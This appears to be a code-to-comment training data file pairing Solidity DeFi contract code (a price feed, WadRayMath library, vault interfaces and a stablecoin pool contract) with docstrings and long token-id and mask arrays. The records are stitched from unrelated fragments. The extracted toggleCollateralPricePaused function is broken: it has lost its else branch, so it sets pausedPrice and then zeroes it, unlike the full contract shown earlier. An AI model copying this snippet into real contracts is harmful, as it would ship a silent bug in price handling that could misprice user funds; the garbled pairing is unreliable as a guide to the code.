function setFeeDistributor(IFeeDistributor _feeDistributor) external;
function controller() external view returns (IAccessController);
function config() external view returns (IConfigProviderV1);
function core() external view returns (IVaultsCoreV1);
function stablex() external view returns (ISTABLEX);
function ratesManager() external view returns (IRatesManager);
function priceFeed() external view returns (IPriceFeed);
function liquidationManager() external view returns (ILiquidationManagerV1);
function vaultsData() external view returns (IVaultsDataProvider);
function feeDistributor() external view returns (IFeeDistributor);
}
//
interface IVaultsCoreState {
event CumulativeRateUpdated(address indexed collateralType, uint256 elapsedTime, uint256 newCumulativeRate); //cumulative interest rate from deployment time T0
function initializeRates(address _collateralType) external;
function refresh() external;
function refreshCollateral(address collateralType) external;
function syncState(IVaultsCoreState _stateAddress) external;
function syncStateFromV1(IVaultsCoreV1 _core) external;
//Read only
function a() external view returns (IAddressProvider);
function availableIncome() external view returns (uint256);
function cumulativeRates(address _collateralType) external view returns (uint256);
function lastRefresh(address _collateralType) external view returns (uint256);
function synced() external view returns (bool);
}
//
library MathPow {
function pow(uint256 x, uint256 n) internal pure returns (uint256 z) {
z = n % 2 != 0 ? x : 1;
for (n /= 2; n != 0; n /= 2) {
x = SafeMath.mul(x, x);
if (n % 2 != 0) {
z = SafeMath.mul(z, x);
}
}
}
}
//
/******************
@title WadRayMath library
@author Aave
@dev Provides mul and div function for wads (decimal numbers with 18 digits precision) and rays (decimals with 27 digits)
*/
library WadRayMath {
using SafeMath for uint256;
uint256 internal constant _WAD = 1e18;
uint256 internal constant _HALF_WAD = _WAD / 2;
uint256 internal constant _RAY = 1e27;
uint256 internal constant _HALF_RAY = _RAY / 2;
uint256 internal constant _WAD_RAY_RATIO = 1e9;
function ray() internal pure returns (uint256) {
return _RAY;
}
function wad() internal pure returns (uint256) {
return _WAD;
}
function halfRay() internal pure returns (uint256) {
return _HALF_RAY;
}
function halfWad() internal pure returns (uint256) {
return _HALF_WAD;
}
function wadMul(uint256 a, uint256 b) internal pure returns (uint256) {
return _HALF_WAD.add(a.mul(b)).div(_WAD);
}
function wadDiv(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 halfB = b / 2;
return halfB.add(a.mul(_WAD)).div(b);
}
function rayMul(uint256 a, uint256 b) internal pure returns (uint256) {
return _HALF_RAY.add(a.mul(b)).div(_RAY);
}
function rayDiv(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 halfB = b / 2;
return halfB.add(a.mul(_RAY)).div(b);
}
function rayToWad(uint256 a) internal pure returns (uint256) {
uint256 halfRatio = _WAD_RAY_RATIO / 2;
return halfRatio.add(a).div(_WAD_RAY_RATIO);
}
function wadToRay(uint256 a) internal pure returns (uint256) {
return a.mul(_WAD_RAY_RATIO);
}
/**
* @dev calculates x^n, in ray. The code uses the ModExp precompile
* @param x base
* @param n exponent
* @return z = x^n, in ray
*/
function rayPow(uint256 x, uint256 n) internal pure returns (uint256 z) {
z = n % 2 != 0 ? x : _RAY;
for (n /= 2; n != 0; n /= 2) {
x = rayMul(x, x);
if (n % 2 != 0) {
z = rayMul(z, x);
}
}
}
}
//
contract PriceFeed is IPriceFeed {
using SafeMath for uint256;
using SafeMath for uint8;
using WadRayMath for uint256;
uint256 public constant PRICE_ORACLE_STALE_THRESHOLD = 1 days;
IAddressProvider public override a;
mapping(address => AggregatorV3Interface) public override assetOracles;
AggregatorV3Interface public override eurOracle;
constructor(IAddressProvider _addresses) public {
require(address(_addresses) != address(0));
a = _addresses;
}
modifier onlyManager() {
require(a.controller().hasRole(a.controller().MANAGER_ROLE(), msg.sender), "Caller is not a Manager");
_;
}
/**
* @notice Sets the oracle for the given asset,
* @param _asset address to the collateral asset e.g. WETH
* @param _oracle address to the oracel, this oracle should implement the AggregatorV3Interface
*/
function setAssetOracle(address _asset, address _oracle) public override onlyManager {
require(_asset != address(0));
require(_oracle != address(0));
assetOracles[_asset] = AggregatorV3Interface(_oracle);
emit OracleUpdated(_asset, _oracle, msg.sender);
}
/**
* @notice Sets the oracle for EUR, this oracle should provide EUR-USD prices
* @param _oracle address to the oracle, this oracle should implement the AggregatorV3Interface
*/
function setEurOracle(address _oracle) public override onlyManager {
require(_oracle != address(0));
eurOracle = AggregatorV3Interface(_oracle);
emit EurOracleUpdated(_oracle, msg.sender);
}
/**
* Gets the asset price in EUR (PAR)
* @dev returned value has matching decimals to the asset oracle (not the EUR oracle)
* @param _asset address to the collateral asset e.g. WETH
*/
function getAssetPrice(address _asset) public view override returns (uint256 price) {
(, int256 eurAnswer, , uint256 eurUpdatedAt, ) = eurOracle.latestRoundData();
require(eurAnswer > 0, "EUR price data not valid");
require(block.timestamp - eurUpdatedAt < PRICE_ORACLE_STALE_THRESHOLD, "EUR price data is stale");
(, int256 answer, , uint256 assetUpdatedAt, ) = assetOracles[_asset].latestRoundData();
require(answer > 0, "Price data not valid");
require(block.timestamp - assetUpdatedAt < PRICE_ORACLE_STALE_THRESHOLD, "Price data is stale");
uint8 eurDecimals = eurOracle.decimals();
uint256 eurAccuracy = MathPow.pow(10, eurDecimals);
return uint256(answer).mul(eurAccuracy).div(uint256(eurAnswer));
}
/**
* @notice Converts asset balance into stablecoin balance at current price
* @param _asset address to the collateral asset e.g. WETH
* @param _amount amount of collateral
*/
function convertFrom(address _asset, uint256 _amount) public view override returns (uint256) {
uint256 price = getAssetPrice(_asset);
uint8 collateralDecimals = ERC20(_asset).decimals();
uint8 parDecimals = ERC20(address(a.stablex())).decimals(); // Needs re-casting because ISTABLEX does not expose decimals()
uint8 oracleDecimals = assetOracles[_asset].decimals();
uint256 parAccuracy = MathPow.pow(10, parDecimals);
uint256 collateralAccuracy = MathPow.pow(10, oracleDecimals.add(collateralDecimals));
return _amount.mul(price).mul(parAccuracy).div(collateralAccuracy);
}
/**
* @notice Converts stablecoin balance into collateral balance at current price
* @param _asset address to the collateral asset e.g. WETH
* @param _amount amount of stablecoin
*/
function convertTo(address _asset, uint256 _amount) public view override returns (uint256) {
uint256 price = getAssetPrice(_asset);
uint8 collateralDecimals = ERC20(_asset).decimals();
uint8 parDecimals = ERC20(address(a.stablex())).decimals(); // Needs re-casting because ISTABLEX does not expose decimals()
uint8 oracleDecimals = assetOracles[_asset].decimals();
uint256 parAccuracy = MathPow.pow(10, parDecimals);
uint256 collateralAccuracy = MathPow.pow(10, oracleDecimals.add(collateralDecimals));
return _amount.mul(collateralAccuracy).div(price).div(parAccuracy);
}
}
|
@notice Possible states that a proposal may be in
|
function setCollateralConfig(
address _collateralType,
uint256 _debtLimit,
uint256 _minCollateralRatio,
uint256 _borrowRate,
uint256 _originationFee
) external;
function removeCollateral(address _collateralType) external;
function setCollateralDebtLimit(address _collateralType, uint256 _debtLimit) external;
function setCollateralMinCollateralRatio(address _collateralType, uint256 _minCollateralRatio) external;
function setCollateralBorrowRate(address _collateralType, uint256 _borrowRate) external;
function setCollateralOriginationFee(address _collateralType, uint256 _originationFee) external;
function setLiquidationBonus(uint256 _bonus) external;
function a() external view returns (IAddressProviderV1);
function collateralConfigs(uint256 _id) external view returns (CollateralConfig memory);
function collateralIds(address _collateralType) external view returns (uint256);
function numCollateralConfigs() external view returns (uint256);
function liquidationBonus() external view returns (uint256);
function collateralDebtLimit(address _collateralType) external view returns (uint256);
function collateralMinCollateralRatio(address _collateralType) external view returns (uint256);
function collateralBorrowRate(address _collateralType) external view returns (uint256);
function collateralOriginationFee(address _collateralType) external view returns (uint256);
}
}
}
}
enum ProposalState {
Active,
Canceled,
Defeated,
Succeeded,
Queued,
Expired,
Executed
}
| 8,219 |
[
1,
13576,
5493,
716,
279,
14708,
2026,
506,
316,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
225,
445,
444,
13535,
2045,
287,
809,
12,
203,
565,
1758,
389,
12910,
2045,
287,
559,
16,
203,
565,
2254,
5034,
389,
323,
23602,
3039,
16,
203,
565,
2254,
5034,
389,
1154,
13535,
2045,
287,
8541,
16,
203,
565,
2254,
5034,
389,
70,
15318,
4727,
16,
203,
565,
2254,
5034,
389,
4949,
1735,
14667,
203,
225,
262,
3903,
31,
203,
203,
225,
445,
1206,
13535,
2045,
287,
12,
2867,
389,
12910,
2045,
287,
559,
13,
3903,
31,
203,
203,
225,
445,
444,
13535,
2045,
287,
758,
23602,
3039,
12,
2867,
389,
12910,
2045,
287,
559,
16,
2254,
5034,
389,
323,
23602,
3039,
13,
3903,
31,
203,
203,
225,
445,
444,
13535,
2045,
287,
2930,
13535,
2045,
287,
8541,
12,
2867,
389,
12910,
2045,
287,
559,
16,
2254,
5034,
389,
1154,
13535,
2045,
287,
8541,
13,
3903,
31,
203,
203,
225,
445,
444,
13535,
2045,
287,
38,
15318,
4727,
12,
2867,
389,
12910,
2045,
287,
559,
16,
2254,
5034,
389,
70,
15318,
4727,
13,
3903,
31,
203,
203,
225,
445,
444,
13535,
2045,
287,
4741,
1735,
14667,
12,
2867,
389,
12910,
2045,
287,
559,
16,
2254,
5034,
389,
4949,
1735,
14667,
13,
3903,
31,
203,
203,
225,
445,
444,
48,
18988,
350,
367,
38,
22889,
12,
11890,
5034,
389,
18688,
407,
13,
3903,
31,
203,
203,
225,
445,
279,
1435,
3903,
1476,
1135,
261,
45,
1887,
2249,
58,
21,
1769,
203,
203,
225,
445,
4508,
2045,
287,
8062,
12,
11890,
5034,
389,
350,
13,
3903,
1476,
1135,
261,
13535,
2045,
287,
809,
3778,
1769,
203,
2
] |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.13;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "../../BdStable/BDStable.sol";
import "../../Oracle/ICryptoPairOracle.sol";
import "./BdPoolLibrary.sol";
import "../../Utils/IWETH.sol";
contract BdStablePool is OwnableUpgradeable {
using SafeERC20 for IERC20;
/* ========== STATE VARIABLES ========== */
IERC20 private BDX;
IWETH private NativeTokenWrapper;
IERC20 public collateral_token;
BDStable public BDSTABLE;
ICryptoPairOracle public collatWEthOracle;
bool public is_collateral_wrapping_native_token;
uint256 private missing_decimals; // Number of decimals needed to get to 18
address private weth_address;
mapping(address => uint256) public redeemBDXBalances;
mapping(address => uint256) public redeemCollateralBalances;
uint256 public unclaimedPoolCollateral;
mapping(address => uint256) public lastRedeemed;
// AccessControl state variables
bool public mintPaused;
bool public redeemPaused;
bool public recollateralizePaused;
bool public buyBackPaused;
bool public collateralPricePaused;
bool public recollateralizeOnlyForOwner;
bool public buybackOnlyForOwner;
uint256 public minting_fee; //d12
uint256 public redemption_fee; //d12
uint256 public buyback_fee; //d12
uint256 public recollat_fee; //d12
// Pool_ceiling is the total units of collateral that a pool contract can hold
uint256 public pool_ceiling; // d18
// Stores price of the collateral, if price is paused
uint256 public pausedPrice;
// Bonus rate on BDX minted during recollateralizeBdStable(); 12 decimals of precision, set to 0.75% on genesis
uint256 public bonus_rate; // d12
// Number of blocks to wait before being able to collectRedemption()
uint256 public redemption_delay;
/* ========== MODIFIERS ========== */
modifier notRedeemPaused() {
require(redeemPaused == false, "Redeeming is paused");
_;
}
modifier notMintPaused() {
require(mintPaused == false, "Minting is paused");
_;
}
/* ========== CONSTRUCTOR ========== */
function initialize(
address _bdstable_contract_address,
address _bdx_contract_address,
address _collateral_address,
uint256 _collateral_decimals,
bool _is_collateral_wrapping_native_token
) external initializer {
require(_bdstable_contract_address != address(0), "BdStable address cannot be 0");
require(_bdx_contract_address != address(0), "BDX address cannot be 0");
require(_collateral_address != address(0), "Collateral address cannot be 0");
__Ownable_init();
BDSTABLE = BDStable(_bdstable_contract_address);
BDX = IERC20(_bdx_contract_address);
if (_is_collateral_wrapping_native_token) {
NativeTokenWrapper = IWETH(_collateral_address);
}
collateral_token = IERC20(_collateral_address);
missing_decimals = uint256(18) - _collateral_decimals;
is_collateral_wrapping_native_token = _is_collateral_wrapping_native_token;
pool_ceiling = 1e36; // d18
bonus_rate = 7500000000; // d12 0.75%
redemption_delay = 1;
minting_fee = 3000000000; // d12 0.3%
redemption_fee = 3000000000; // d12 0.3%
recollateralizeOnlyForOwner = false;
buybackOnlyForOwner = true;
}
/* ========== VIEWS ========== */
// Returns the price of the pool collateral in fiat
function getCollateralPrice_d12() public view returns (uint256) {
if (collateralPricePaused == true) {
return pausedPrice;
} else {
uint256 eth_fiat_price_d12 = BDSTABLE.weth_fiat_price();
uint256 collat_eth_price = collatWEthOracle.consult(weth_address, BdPoolLibrary.PRICE_PRECISION);
return (eth_fiat_price_d12 * BdPoolLibrary.PRICE_PRECISION) / collat_eth_price;
}
}
// Returns fiat value of collateral held in this BdStable pool
function collatFiatBalance() external view returns (uint256) {
//Expressed in collateral token decimals
if (collateralPricePaused == true) {
return
((collateral_token.balanceOf(address(this)) - unclaimedPoolCollateral) * (10**missing_decimals) * pausedPrice) /
BdPoolLibrary.PRICE_PRECISION;
} else {
return
((collateral_token.balanceOf(address(this)) - unclaimedPoolCollateral) * (10**missing_decimals) * getCollateralPrice_d12()) /
BdPoolLibrary.PRICE_PRECISION;
}
}
/* ========== PUBLIC FUNCTIONS ========== */
function updateOraclesIfNeeded() public {
BDSTABLE.updateOraclesIfNeeded();
if (collatWEthOracle.shouldUpdateOracle()) {
collatWEthOracle.updateOracle();
}
}
// Will fail if fully collateralized or fully algorithmic
// > 0% and < 100% collateral-backed
function mintFractionalBdStable(
uint256 collateral_amount_in_max,
uint256 bdx_in_max,
uint256 bdStable_out_min,
bool useNativeToken
) external payable notMintPaused {
if (useNativeToken) {
require(is_collateral_wrapping_native_token, "Pool doesn't support native token");
require(msg.value == collateral_amount_in_max, "msg.value and collateral_amount_in_max do not match");
}
updateOraclesIfNeeded();
uint256 bdx_price = BDSTABLE.BDX_price_d12();
uint256 global_collateral_ratio_d12 = BDSTABLE.global_collateral_ratio_d12();
if (global_collateral_ratio_d12 == 0) {
collateral_amount_in_max = 0;
} else if (global_collateral_ratio_d12 == BdPoolLibrary.COLLATERAL_RATIO_MAX) {
bdx_in_max = 0;
}
require(
(collateral_token.balanceOf(address(this)) - unclaimedPoolCollateral + collateral_amount_in_max) <= pool_ceiling,
"Pool ceiling reached, no more BdStable can be minted with this collateral"
);
uint256 collateral_amount_in_max_d18 = collateral_amount_in_max * (10**missing_decimals);
uint256 mint_amount;
uint256 bdx_needed;
if (global_collateral_ratio_d12 == 0) {
mint_amount = BdPoolLibrary.calcMintAlgorithmicBD(bdx_price, bdx_in_max);
bdx_needed = bdx_in_max;
} else if (global_collateral_ratio_d12 == 1) {
mint_amount = BdPoolLibrary.calcMint1t1BD(getCollateralPrice_d12(), collateral_amount_in_max_d18);
bdx_needed = 0;
} else {
(mint_amount, bdx_needed) = BdPoolLibrary.calcMintFractionalBD(
bdx_price,
getCollateralPrice_d12(),
collateral_amount_in_max_d18,
global_collateral_ratio_d12
);
}
mint_amount = (mint_amount * (uint256(BdPoolLibrary.PRICE_PRECISION) - minting_fee)) / BdPoolLibrary.PRICE_PRECISION;
require(bdStable_out_min <= mint_amount, "Slippage limit reached");
require(bdx_needed <= bdx_in_max, "Not enough BDX inputted");
BDSTABLE.refreshCollateralRatio();
if (bdx_needed > 0) {
BDX.safeTransferFrom(msg.sender, address(BDSTABLE), bdx_needed);
}
if (collateral_amount_in_max > 0) {
if (useNativeToken) {
NativeTokenWrapper.deposit{value: collateral_amount_in_max}();
} else {
collateral_token.safeTransferFrom(msg.sender, address(this), collateral_amount_in_max);
}
}
BDSTABLE.pool_mint(msg.sender, mint_amount);
}
// Will fail if fully collateralized or algorithmic
// Redeem BDSTABLE for collateral and BDX. > 0% and < 100% collateral-backed
function redeemFractionalBdStable(
uint256 BdStable_amount,
uint256 BDX_out_min,
uint256 COLLATERAL_out_min
) external notRedeemPaused {
updateOraclesIfNeeded();
uint256 global_collateral_ratio_d12 = BDSTABLE.global_collateral_ratio_d12();
uint256 effective_global_collateral_ratio_d12 = BDSTABLE.effective_global_collateral_ratio_d12();
uint256 cr_d12 = effective_global_collateral_ratio_d12 < global_collateral_ratio_d12
? effective_global_collateral_ratio_d12
: global_collateral_ratio_d12;
uint256 BdStable_amount_post_fee = (BdStable_amount * (uint256(BdPoolLibrary.PRICE_PRECISION) - redemption_fee)) /
BdPoolLibrary.PRICE_PRECISION;
uint256 bdx_fiat_value_d18 = BdStable_amount_post_fee - ((BdStable_amount_post_fee * cr_d12) / BdPoolLibrary.PRICE_PRECISION);
uint256 bdx_amount = (bdx_fiat_value_d18 * BdPoolLibrary.PRICE_PRECISION) / BDSTABLE.BDX_price_d12();
uint256 bdx_coverage_ratio = BDSTABLE.get_effective_bdx_coverage_ratio();
bdx_amount = (bdx_amount * bdx_coverage_ratio) / BdPoolLibrary.COLLATERAL_RATIO_PRECISION;
// Need to adjust for decimals of collateral
uint256 BdStable_amount_precision = BdStable_amount_post_fee / (10**missing_decimals);
uint256 collateral_fiat_value = (BdStable_amount_precision * cr_d12) / BdPoolLibrary.PRICE_PRECISION;
uint256 collateral_needed = (collateral_fiat_value * BdPoolLibrary.PRICE_PRECISION) / getCollateralPrice_d12();
require(collateral_needed <= collateral_token.balanceOf(address(this)) - unclaimedPoolCollateral, "Not enough collateral in pool");
require(COLLATERAL_out_min <= collateral_needed, "Slippage limit reached [collateral]");
require(BDX_out_min <= bdx_amount, "Slippage limit reached [BDX]");
require(BDSTABLE.canLegallyRedeem(msg.sender), "Cannot legally redeem");
redeemCollateralBalances[msg.sender] = redeemCollateralBalances[msg.sender] + collateral_needed;
unclaimedPoolCollateral = unclaimedPoolCollateral + collateral_needed;
BDSTABLE.refreshCollateralRatio();
if (bdx_amount > 0) {
require(BDSTABLE.canLegallyRedeem(msg.sender), "Cannot legally redeem");
redeemBDXBalances[msg.sender] = redeemBDXBalances[msg.sender] + bdx_amount;
BDSTABLE.pool_claim_bdx(bdx_amount);
}
lastRedeemed[msg.sender] = block.number;
// Move all external functions to the end
BDSTABLE.pool_burn_from(msg.sender, BdStable_amount);
}
// After a redemption happens, transfer the newly minted BDX and owed collateral from this pool
// contract to the user. Redemption is split into two functions to prevent flash loans from being able
// to take out BdStable/collateral from the system, use an AMM to trade the new price, and then mint back into the system.
function collectRedemption(bool useNativeToken) external {
require((lastRedeemed[msg.sender] + redemption_delay) <= block.number, "Must wait for redemption_delay blocks before collecting redemption");
bool sendBDX = false;
bool sendCollateral = false;
uint256 BDXAmount;
uint256 CollateralAmount;
// Use Checks-Effects-Interactions pattern
if (redeemBDXBalances[msg.sender] > 0) {
BDXAmount = redeemBDXBalances[msg.sender];
redeemBDXBalances[msg.sender] = 0;
sendBDX = true;
}
if (redeemCollateralBalances[msg.sender] > 0) {
CollateralAmount = redeemCollateralBalances[msg.sender];
redeemCollateralBalances[msg.sender] = 0;
unclaimedPoolCollateral = unclaimedPoolCollateral - CollateralAmount;
sendCollateral = true;
}
if (sendBDX == true) {
BDSTABLE.pool_transfer_claimed_bdx(msg.sender, BDXAmount);
}
if (sendCollateral == true) {
if (useNativeToken) {
NativeTokenWrapper.withdraw(CollateralAmount);
safeTransferETH(msg.sender, CollateralAmount);
} else {
collateral_token.safeTransfer(msg.sender, CollateralAmount);
}
}
}
// When the protocol is recollateralizing, we need to give a discount of BDX to hit the new CR target
// Thus, if the target collateral ratio is higher than the actual value of collateral, minters get BDX for adding collateral
// This function simply rewards anyone that sends collateral to a pool with the same amount of BDX + the bonus rate
// Anyone can call this function to recollateralize the protocol and take the extra BDX value from the bonus rate as an arb opportunity
function recollateralizeBdStable(
uint256 collateral_amount,
uint256 BDX_out_min,
bool useNativeToken
) external payable {
require(recollateralizePaused == false, "Recollateralize is paused");
if (recollateralizeOnlyForOwner) {
require(msg.sender == owner(), "Currently only owner can recollateralize");
}
if (useNativeToken) {
require(is_collateral_wrapping_native_token, "Pool doesn't support native token");
require(msg.value == collateral_amount, "msg.value and collateral_amount do not match");
}
updateOraclesIfNeeded();
uint256 collateral_amount_d18 = collateral_amount * (10**missing_decimals);
uint256 bdx_price = BDSTABLE.BDX_price_d12();
uint256 bdStable_total_supply = BDSTABLE.totalSupply();
uint256 global_collateral_ratio_d12 = BDSTABLE.global_collateral_ratio_d12();
uint256 global_collat_value = BDSTABLE.globalCollateralValue();
(uint256 collateral_units, uint256 amount_to_recollat) = BdPoolLibrary.calcRecollateralizeBdStableInner(
collateral_amount_d18,
getCollateralPrice_d12(),
global_collat_value,
bdStable_total_supply,
global_collateral_ratio_d12
);
uint256 collateral_units_precision = collateral_units / (10**missing_decimals);
uint256 bdx_paid_back = (amount_to_recollat * (uint256(BdPoolLibrary.PRICE_PRECISION) + bonus_rate - recollat_fee)) / bdx_price;
uint256 bdx_coverage_ratio = BDSTABLE.get_effective_bdx_coverage_ratio();
bdx_paid_back = (bdx_paid_back * bdx_coverage_ratio) / BdPoolLibrary.COLLATERAL_RATIO_PRECISION;
require(BDX_out_min <= bdx_paid_back, "Slippage limit reached");
BDSTABLE.refreshCollateralRatio();
if (useNativeToken) {
// no need to check collateral_units_precision, it's <= then collateral_amount
NativeTokenWrapper.deposit{value: collateral_units_precision}();
// refund remaining native token, if any left
if (msg.value > collateral_units_precision) {
safeTransferETH(msg.sender, msg.value - collateral_units_precision);
}
} else {
collateral_token.safeTransferFrom(msg.sender, address(this), collateral_units_precision);
}
if (bdx_paid_back > 0) {
BDSTABLE.transfer_bdx(msg.sender, bdx_paid_back);
}
emit Recollateralized(collateral_units_precision, bdx_paid_back);
}
// Function can be called by an BDX holder to have the protocol buy back BDX with excess collateral value from a desired collateral pool
// This can also happen if the collateral ratio > 1
function buyBackBDX(
uint256 BDX_amount,
uint256 COLLATERAL_out_min,
bool useNativeToken
) external {
require(buyBackPaused == false, "Buyback is paused");
if (buybackOnlyForOwner) {
require(msg.sender == owner(), "Currently only owner can buyback");
}
updateOraclesIfNeeded();
uint256 bdx_price = BDSTABLE.BDX_price_d12();
uint256 collateral_equivalent_d18 = (BdPoolLibrary.calcBuyBackBDX(
BDSTABLE.availableExcessCollatDV(),
bdx_price,
getCollateralPrice_d12(),
BDX_amount
) * (uint256(BdPoolLibrary.PRICE_PRECISION) - buyback_fee)) / BdPoolLibrary.PRICE_PRECISION;
uint256 collateral_precision = collateral_equivalent_d18 / (10**missing_decimals);
require(COLLATERAL_out_min <= collateral_precision, "Slippage limit reached");
// Take bdx from sender
BDX.safeTransferFrom(msg.sender, address(BDSTABLE), BDX_amount);
if (useNativeToken) {
// Give the sender their desired collateral
NativeTokenWrapper.withdraw(collateral_precision);
safeTransferETH(msg.sender, collateral_precision);
} else {
// Give the sender their desired collateral
collateral_token.safeTransfer(msg.sender, collateral_precision);
}
emit BoughtBack(BDX_amount, collateral_precision);
}
receive() external payable {
require(msg.sender == address(NativeTokenWrapper), "Only native token wrapper allowed to send native token");
}
/* ========== RESTRICTED FUNCTIONS ========== */
function setCollatWETHOracle(address _collateral_weth_oracle_address, address _weth_address) external onlyOwner {
require(_collateral_weth_oracle_address != address(0), "Oracle cannot be set to the zero address");
require(_weth_address != address(0), "WETH cannot be set to the zero address");
collatWEthOracle = ICryptoPairOracle(_collateral_weth_oracle_address);
weth_address = _weth_address;
emit CollateralWethOracleSet(_collateral_weth_oracle_address, _weth_address);
}
function toggleMintingPaused() external onlyOwner {
mintPaused = !mintPaused;
emit MintingPausedToggled(mintPaused);
}
function toggleRedeemingPaused() external onlyOwner {
redeemPaused = !redeemPaused;
emit RedeemingPausedToggled(redeemPaused);
}
function toggleRecollateralizePaused() external onlyOwner {
recollateralizePaused = !recollateralizePaused;
emit RecollateralizePausedToggled(recollateralizePaused);
}
function toggleBuybackPaused() external onlyOwner {
buyBackPaused = !buyBackPaused;
emit BuybackPausedToggled(buyBackPaused);
}
function toggleBuybackOnlyForOwner() external onlyOwner {
buybackOnlyForOwner = !buybackOnlyForOwner;
emit BuybackOnlyForOwnerToggled(buybackOnlyForOwner);
}
function toggleRecollateralizeOnlyForOwner() external onlyOwner {
recollateralizeOnlyForOwner = !recollateralizeOnlyForOwner;
emit RecollateralizeOnlyForOwnerToggled(recollateralizeOnlyForOwner);
}
function toggleCollateralPricePaused(uint256 _new_price) external onlyOwner {
// If pausing, set paused price; else if unpausing, clear pausedPrice
if (collateralPricePaused == false) {
pausedPrice = _new_price;
} else {
pausedPrice = 0;
}
collateralPricePaused = !collateralPricePaused;
emit CollateralPriceToggled(collateralPricePaused);
}
// Combined into one function due to 24KiB contract memory limit
function setPoolParameters(
uint256 new_ceiling,
uint256 new_bonus_rate,
uint256 new_redemption_delay,
uint256 new_mint_fee,
uint256 new_redeem_fee,
uint256 new_buyback_fee,
uint256 new_recollat_fee
) external onlyOwner {
pool_ceiling = new_ceiling;
bonus_rate = new_bonus_rate;
redemption_delay = new_redemption_delay;
minting_fee = new_mint_fee;
redemption_fee = new_redeem_fee;
buyback_fee = new_buyback_fee;
recollat_fee = new_recollat_fee;
emit PoolParametersSet(new_ceiling, new_bonus_rate, new_redemption_delay, new_mint_fee, new_redeem_fee, new_buyback_fee, new_recollat_fee);
}
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, "ETH transfer failed");
}
/* ========== EVENTS ========== */
event PoolParametersSet(
uint256 new_ceiling,
uint256 new_bonus_rate,
uint256 new_redemption_delay,
uint256 new_mint_fee,
uint256 new_redeem_fee,
uint256 new_buyback_fee,
uint256 new_recollat_fee
);
event MintingPausedToggled(bool toggled);
event RedeemingPausedToggled(bool toggled);
event RecollateralizePausedToggled(bool toggled);
event BuybackPausedToggled(bool toggled);
event CollateralPriceToggled(bool toggled);
event CollateralWethOracleSet(address indexed collateral_weth_oracle_address, address indexed weth_address);
event RecollateralizeOnlyForOwnerToggled(bool recollateralizeOnlyForOwner);
event BuybackOnlyForOwnerToggled(bool buybackOnlyForOwner);
event Recollateralized(uint256 indexed collateral_amount_paid, uint256 indexed bdx_paid_back);
event BoughtBack(uint256 indexed bdx_amount_paid, uint256 indexed collateral_paid_back);
}
|
If pausing, set paused price; else if unpausing, clear pausedPrice
|
function toggleCollateralPricePaused(uint256 _new_price) external onlyOwner {
if (collateralPricePaused == false) {
pausedPrice = _new_price;
pausedPrice = 0;
}
collateralPricePaused = !collateralPricePaused;
emit CollateralPriceToggled(collateralPricePaused);
}
| 13,085,566 |
[
1,
2047,
6790,
9940,
16,
444,
17781,
6205,
31,
469,
309,
640,
8774,
9940,
16,
2424,
17781,
5147,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
